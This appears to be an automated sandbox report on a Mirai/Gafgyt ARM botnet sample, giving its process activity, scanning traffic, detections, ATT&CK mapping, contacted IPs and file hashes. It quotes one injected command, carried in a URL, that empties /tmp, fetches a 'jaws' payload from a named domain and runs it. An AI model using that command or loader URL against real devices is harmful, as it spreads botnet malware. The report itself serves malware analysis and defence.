Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2063/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/2062/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1888/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1886/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/420/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1489/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/785/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/1642/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/788/cmdline	Jump to behavior
Source: /tmp/N1msxMZ5Il.elf (PID: 6260)	File opened: /proc/667/cmdline	Jump to behavior

Source: /usr/bin/dash (PID: 6225)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye			Jump to behavior
Source: /usr/bin/dash (PID: 6234)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.AsSoFSRfhJ /tmp/tmp.BlybrixpM1 /tmp/tmp.5015WxwIye			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54120
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54122
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54138
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54140
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54142
Source: unknown	Network traffic detected: HTTP traffic on port 51554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54168
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54178
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54208
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54246
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54248
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54332
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54346
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54364
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54374
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54362
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54394
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54484
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54490
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54490
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54494
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54400
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54726
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54740
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54754
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54758
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54786
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54796
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54800
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54804
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54808
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54812
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54852
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54808
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54874
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54842
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54900
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54904
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54906
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54914
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54934
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54942
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54954
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54960
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54984
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 54990
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55002
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55008
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55018
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55126
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55130
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55132
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55144
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55164
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55170
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55362
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55390
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55438
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55450
Source: unknown	Network traffic detected: HTTP traffic on port 45180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55480
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55514
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55530
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 55548
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56908 -> 37215

Source: /tmp/N1msxMZ5Il.elf (PID: 6245)	Queries kernel information via 'uname':			Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 6272)	Queries kernel information via 'uname':			Jump to behavior

Source: N1msxMZ5Il.elf, 6245.1.000056337fd16000.000056337fe44000.rw-.sdmp, N1msxMZ5Il.elf, 6249.1.000056337fd16000.000056337fe44000.rw-.sdmp	Binary or memory string: 3V!/etc/qemu-binfmt/arm
Source: N1msxMZ5Il.elf, 6245.1.00007ffcd1c74000.00007ffcd1c95000.rw-.sdmp, N1msxMZ5Il.elf, 6249.1.00007ffcd1c74000.00007ffcd1c95000.rw-.sdmp	Binary or memory string: #x86_64/usr/bin/qemu-arm/tmp/N1msxMZ5Il.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/N1msxMZ5Il.elf
Source: N1msxMZ5Il.elf, 6245.1.000056337fd16000.000056337fe44000.rw-.sdmp, N1msxMZ5Il.elf, 6249.1.000056337fd16000.000056337fe44000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: N1msxMZ5Il.elf, 6245.1.00007ffcd1c74000.00007ffcd1c95000.rw-.sdmp, N1msxMZ5Il.elf, 6249.1.00007ffcd1c74000.00007ffcd1c95000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: N1msxMZ5Il.elf, type: SAMPLE
Source: Yara match	File source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: N1msxMZ5Il.elf, type: SAMPLE
Source: Yara match	File source: 6245.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6249.1.00007faafc017000.00007faafc02e000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Hidden Files and Directories	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 File Deletion	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	3 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
N1msxMZ5Il.elf	64%	Virustotal		Browse
N1msxMZ5Il.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://nextoneup.shop/	0%	Avira URL Cloud	safe
http://nextoneup.shop/jaws;sh	0%	Avira URL Cloud	safe
http://nextoneup.shop/bin	0%	Avira URL Cloud	safe
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws	0%	Avira URL Cloud	safe
http://nextoneup.shop/	4%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
rsx.nextoneup.shop	37.44.238.94	true	false		unknown
rep.nextoneup.shop	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	N1msxMZ5Il.elf	false		high
http://nextoneup.shop/jaws;sh	N1msxMZ5Il.elf	false	Avira URL Cloud: safe	unknown
http://nextoneup.shop/	N1msxMZ5Il.elf	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nextoneup.shop/bin	N1msxMZ5Il.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	N1msxMZ5Il.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
39.123.39.50	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	false
23.135.33.141	unknown	Reserved	397046	COMMON-NETUS	false
186.187.133.164	unknown	Venezuela	20299	NewcomLimitedGT	false
46.181.54.149	unknown	Russian Federation	39927	ELIGHT-ASRU	false
183.66.102.123	unknown	China	134420	CHINATELECOM-CHONGQING-IDCChongqingTelecomCN	false
98.83.182.51	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
197.179.229.48	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
108.113.255.147	unknown	United States	10507	SPCSUS	false
81.170.193.45	unknown	Sweden	8473	BAHNHOFhttpwwwbahnhofnetSE	false
42.177.5.36	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
115.199.247.13	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
182.163.41.228	unknown	Japan	10013	FBDCFreeBitCoLtdJP	false
79.241.129.232	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
220.166.189.226	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
68.86.107.46	unknown	United States	7922	COMCAST-7922US	false
80.160.228.250	unknown	Denmark	3292	TDCTDCASDK	false
96.80.107.91	unknown	United States	7922	COMCAST-7922US	false
110.143.212.248	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
138.157.250.8	unknown	United States	1540	DNIC-ASBLK-01534-01546US	false
140.13.56.175	unknown	United States	23700	FASTNET-AS-IDLinknet-FastnetASNID	false
197.187.29.136	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
170.146.136.129	unknown	United States	4152	USDA-1US	false
123.2.106.125	unknown	Australia	38285	VOCUS-RETAIL-AUVocusRetailAU	false
197.132.217.136	unknown	Egypt	24835	RAYA-ASEG	false
212.168.241.88	unknown	Germany	5669	VIA-NET-WORKS-ASUS	false
41.68.176.228	unknown	Egypt	24835	RAYA-ASEG	false
188.93.77.124	unknown	Spain	12338	EUSKALTELES	false
19.69.6.122	unknown	United States	3	MIT-GATEWAYSUS	false
134.129.144.166	unknown	United States	6263	NDINUS	false
212.243.255.207	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
197.254.144.12	unknown	Lesotho	37057	VODACOM-LESOTHOLS	false
42.42.62.82	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
195.10.52.217	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
177.28.52.189	unknown	Brazil	26615	TIMSABR	false
129.72.135.190	unknown	United States	2902	WN-WY-ASUS	false
171.105.67.87	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
118.65.57.233	unknown	China	4713	OCNNTTCommunicationsCorporationJP	false
41.92.37.128	unknown	Morocco	36925	ASMediMA	false
197.2.168.162	unknown	Tunisia	37705	TOPNETTN	false
93.33.153.198	unknown	Italy	12874	FASTWEBIT	false
156.44.103.8	unknown	Canada	3527	NIH-NETUS	false
212.106.149.233	unknown	Poland	15744	SILWEB-AS-COMSILWEBAutonomousSystem-CommercialPL	false
61.94.114.187	unknown	Indonesia	7713	TELKOMNET-AS-APPTTelekomunikasiIndonesiaID	false
74.29.89.221	unknown	United States	7922	COMCAST-7922US	false
193.88.164.143	unknown	Denmark	3292	TDCTDCASDK	false
156.195.49.31	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.195.49.33	unknown	Egypt	8452	TE-ASTE-ASEG	false
109.81.91.83	unknown	Czech Republic	5610	O2-CZECH-REPUBLICCZ	false
5.151.126.93	unknown	United Kingdom	42689	GLIDEGB	false
169.144.109.232	unknown	United States	158	ERI-ASUS	false
41.165.218.70	unknown	South Africa	36937	Neotel-ASZA	false
104.16.179.36	unknown	United States	13335	CLOUDFLARENETUS	false
197.210.99.192	unknown	Nigeria	29465	VCG-ASNG	false
123.178.124.64	unknown	China	4809	CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr	false
197.60.107.66	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.216.246.200	unknown	Angola	11259	ANGOLATELECOMAO	false
155.34.252.116	unknown	United States	24324	KORDIA-TRANSIT-AS-APKordiaLimitedNZ	false
197.102.233.92	unknown	South Africa	3741	ISZA	false
42.11.174.122	unknown	Korea Republic of	4249	LILLY-ASUS	false
93.192.27.137	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
107.11.94.238	unknown	United States	10796	TWC-10796-MIDWESTUS	false
48.236.230.146	unknown	United States	2686	ATGS-MMD-ASUS	false
110.62.148.222	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
109.44.45.210	unknown	Germany	3209	VODANETInternationalIP-BackboneofVodafoneDE	false
41.233.156.58	unknown	Egypt	8452	TE-ASTE-ASEG	false
12.189.194.213	unknown	United States	26842	ATLANTICMUTUALUS	false
157.73.172.234	unknown	Japan	131932	JEIS-NETJREastInformationSystemsCompanyJP	false
37.155.141.83	unknown	Turkey	20978	TT_MOBILIstanbulTR	false
37.109.230.240	unknown	Poland	8374	PLUSNETPlusnetworkoperatorinPolandPL	false
70.126.74.253	unknown	United States	33363	BHN-33363US	false
197.232.116.131	unknown	Kenya	36866	JTLKE	false
151.166.60.218	unknown	United States	385	AFCONC-BLOCK1-ASUS	false
119.28.5.214	unknown	China	132203	TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN	false
50.114.57.127	unknown	United States	31715	ABTME-ASUS	false
178.238.211.27	unknown	Hungary	43359	TARHELYHU	false
170.98.26.44	unknown	United States	18980	PEACEHEALTHUS	false
37.217.119.147	unknown	Saudi Arabia	35819	MOBILY-ASEtihadEtisalatCompanyMobilySA	false
67.165.127.215	unknown	United States	7922	COMCAST-7922US	false
13.135.119.55	unknown	United States	7018	ATT-INTERNET4US	false
197.39.104.86	unknown	Egypt	8452	TE-ASTE-ASEG	false
20.223.236.70	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
136.173.114.64	unknown	Luxembourg	43375	EP-ASEU	false
192.13.155.18	unknown	United States	29861	SYNTAXCA	false
146.86.108.175	unknown	United States	210	WEST-NET-WESTUS	false
118.151.130.225	unknown	Japan	2497	IIJInternetInitiativeJapanIncJP	false
41.138.189.47	unknown	Nigeria	20598	CYBERSPACE-ASAutonomousSystemnumberforCyberSpaceIL	false
86.217.126.136	unknown	France	3215	FranceTelecom-OrangeFR	false
114.24.248.3	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
118.187.222.25	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
41.95.142.159	unknown	Sudan	36998	SDN-MOBITELSD	false
158.211.156.161	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
199.175.181.112	unknown	Canada	852	ASN852CA	false
41.145.255.136	unknown	South Africa	5713	SAIX-NETZA	false
156.23.31.37	unknown	United States	29975	VODACOM-ZA	false
202.103.207.108	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
69.17.129.50	unknown	Canada	812	ROGERS-COMMUNICATIONSCA	false
80.154.12.58	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
141.197.5.246	unknown	United States	22764	FLUOR-CORPUS	false
44.13.151.246	unknown	United States	7377	UCSDUS	false
72.169.205.113	unknown	United States	6621	HNS-DIRECPCUS	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
79.241.129.232	YP9s6ouCvc.elf	Get hash	malicious	Mirai	Browse
79.241.129.232	S2lzc01l.x86	Get hash	malicious	Mirai	Browse
220.166.189.226	nLCx9kv0ff	Get hash	malicious	Mirai	Browse
186.187.133.164	7WUpqmSezR.elf	Get hash	malicious	Mirai	Browse
197.179.229.48	SecuriteInfo.com.Linux.Siggen.9999.12773.8422.elf	Get hash	malicious	Mirai	Browse
197.179.229.48	sGGQ6sAexo.elf	Get hash	malicious	Mirai, Moobot	Browse
80.160.228.250	MjqRJNVy8K	Get hash	malicious	Mirai	Browse
110.143.212.248	fFaQPjbc1d	Get hash	malicious	Mirai	Browse
110.143.212.248	DM34W1eYdD	Get hash	malicious	Unknown	Browse
115.199.247.13	TaNPXR0Onz.elf	Get hash	malicious	Mirai	Browse
115.199.247.13	ABQktqw2vr	Get hash	malicious	Mirai	Browse
140.13.56.175	ZSlkj38Qce.elf	Get hash	malicious	Mirai	Browse
197.187.29.136	arm-20240223-1531.elf	Get hash	malicious	Mirai, Moobot	Browse
	76Av2W6EGi.elf	Get hash	malicious	Mirai	Browse
	3YjVnXLoy2.elf	Get hash	malicious	Mirai, Moobot	Browse
170.146.136.129	ckS92jgGGm.elf	Get hash	malicious	Mirai	Browse
	nSJqaRn5GY	Get hash	malicious	Mirai	Browse
	b3astmode.x86	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ELIGHT-ASRU	Nc2zs66ZvW.elf	Get hash	malicious	Unknown	Browse	158.46.63.251
	8lzQh5F8lt.elf	Get hash	malicious	Mirai	Browse	176.196.14.230
	GfRwN8t3BN.elf	Get hash	malicious	Mirai	Browse	46.181.54.166
	TfpwQ763RO.elf	Get hash	malicious	Mirai, Moobot	Browse	176.197.23.103
	2VDoipTd9L.elf	Get hash	malicious	Mirai	Browse	176.196.14.240
	gL3PV66pdL.elf	Get hash	malicious	Mirai	Browse	46.181.54.167
	SecuriteInfo.com.Linux.Siggen.9999.14347.10667.elf	Get hash	malicious	Mirai	Browse	46.181.119.225
	XeWgeH74wX.elf	Get hash	malicious	Mirai	Browse	176.197.238.13
	lxmddGFMLf.elf	Get hash	malicious	Mirai	Browse	46.181.54.159
	Tempus.x86.elf	Get hash	malicious	Mirai	Browse	46.181.54.161
COMMON-NETUS	myt7Asbdtb.elf	Get hash	malicious	Mirai	Browse	23.135.33.135
	RShSMrtjcl.elf	Get hash	malicious	Mirai	Browse	23.135.33.136
	yY2RSgZNJR.elf	Get hash	malicious	Mirai	Browse	23.135.33.165
	skid.arm.elf	Get hash	malicious	Moobot	Browse	158.51.81.236
	kzACY54xAi.elf	Get hash	malicious	Mirai	Browse	23.135.33.135
	2gp75QuY5m.elf	Get hash	malicious	Mirai	Browse	23.135.33.159
	Wfrx25HogR.elf	Get hash	malicious	Unknown	Browse	158.51.81.229
	wi86ITwOSn.elf	Get hash	malicious	Mirai	Browse	23.135.33.107
	i586-20220727-1401	Get hash	malicious	Mirai	Browse	23.135.33.148
	sora.mips	Get hash	malicious	Mirai	Browse	23.135.33.168
SKB-ASSKBroadbandCoLtdKR	t3CBipL4lt.elf	Get hash	malicious	Mirai	Browse	218.48.113.21
	7m7X62tiZr.elf	Get hash	malicious	Mirai	Browse	218.38.47.236
	NsMBSCHqbQ.elf	Get hash	malicious	Mirai	Browse	110.12.75.70
	iH18gdEj8Y.elf	Get hash	malicious	Mirai	Browse	121.124.149.166
	Nc2zs66ZvW.elf	Get hash	malicious	Unknown	Browse	222.234.76.167
	xmncOD7BwX.elf	Get hash	malicious	Mirai	Browse	114.207.148.225
	HmBC8e0eux.elf	Get hash	malicious	Unknown	Browse	180.70.207.174
	68p3Nl7QRc.elf	Get hash	malicious	Unknown	Browse	118.220.137.47
	b936ul4d4L.elf	Get hash	malicious	Mirai	Browse	116.126.66.93
	SFTNQEBmOA.elf	Get hash	malicious	Unknown	Browse	58.236.84.52
NewcomLimitedGT	TF2AD5Jnbu.elf	Get hash	malicious	Unknown	Browse	161.0.195.247
	4pR4wy3RZI.elf	Get hash	malicious	Mirai, Gafgyt	Browse	161.0.195.233
	zOKUvUgL0n.elf	Get hash	malicious	Mirai	Browse	186.187.133.181
	dWK9PiLE9v.elf	Get hash	malicious	Mirai	Browse	186.186.142.96
	Tyltvc4Yuk.elf	Get hash	malicious	Mirai	Browse	186.187.198.8
	gPHz6BUDeW.elf	Get hash	malicious	Mirai	Browse	190.99.14.217
	b3astmode.x86.elf	Get hash	malicious	Mirai	Browse	186.186.166.62
	IXPFqwlkuB.elf	Get hash	malicious	Mirai	Browse	186.177.95.57
	skid.x86	Get hash	malicious	Mirai	Browse	186.186.143.230
	h0r0zx00x.x86.elf	Get hash	malicious	Mirai	Browse	186.186.191.133

File type:	ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Entropy (8bit):	6.1636575390858965
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	N1msxMZ5Il.elf
File size:	92'504 bytes
MD5:	c03130eb73d39b14670f4d28c68c3532
SHA1:	41c1fb9d3f6bf12dda2bb903b322ead187353be7
SHA256:	c7d81335f2aa6d4661e58a0b343acd94b1bf2a234ebcc3a2309a7f6ef010e5ee
SHA512:	3039276b1fbd8b850af3c4c8eaf819e30a676e2db4e054a4beb7592d2e9ea7cd4f986271b93ecea5e36046a4a441ac08859bec4e4bd597657756733909309519
SSDEEP:	1536:gyKd61d2QFjbjQuq5s41V6a8YuLTv8aqVnjHB/YzZJ7fzuFa9Gi0NPH:pK81dHFjbkhjHJuLTkBjHuV9ruFa9Gi
TLSH:	F0932A45BC928A02C6E422BBFB2E118D372963E8D2EB3113DD205F6437CA92F1E77555
File Content Preview:	.ELF...a..........(.........4....g......4. ...(......................d...d...............d...d...d......(*..........Q.td..................................-...L."...NS..........0@-.\P...0....S.0...P@...0... ....R......0...0...........0... ....R..... 0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	ARM - ABI
ABI Version:	0
Entry Point Address:	0x8190
Flags:	0x202
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	92064
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x18	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x14d70	0x0	0x6	AX	16
.fini	PROGBITS	0x1ce20	0x14e20	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1ce34	0x14e34	0x1654	0x0	0x2	A	4
.ctors	PROGBITS	0x2648c	0x1648c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x26494	0x16494	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x264a0	0x164a0	0x2a0	0x0	0x3	WA	4
.bss	NOBITS	0x26740	0x16740	0x2774	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x16740	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x16750	0x4e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x16488	0x16488	6.1813	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1648c	0x2648c	0x2648c	0x2b4	0x2a28	3.4166	0x6	RW	0x8000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

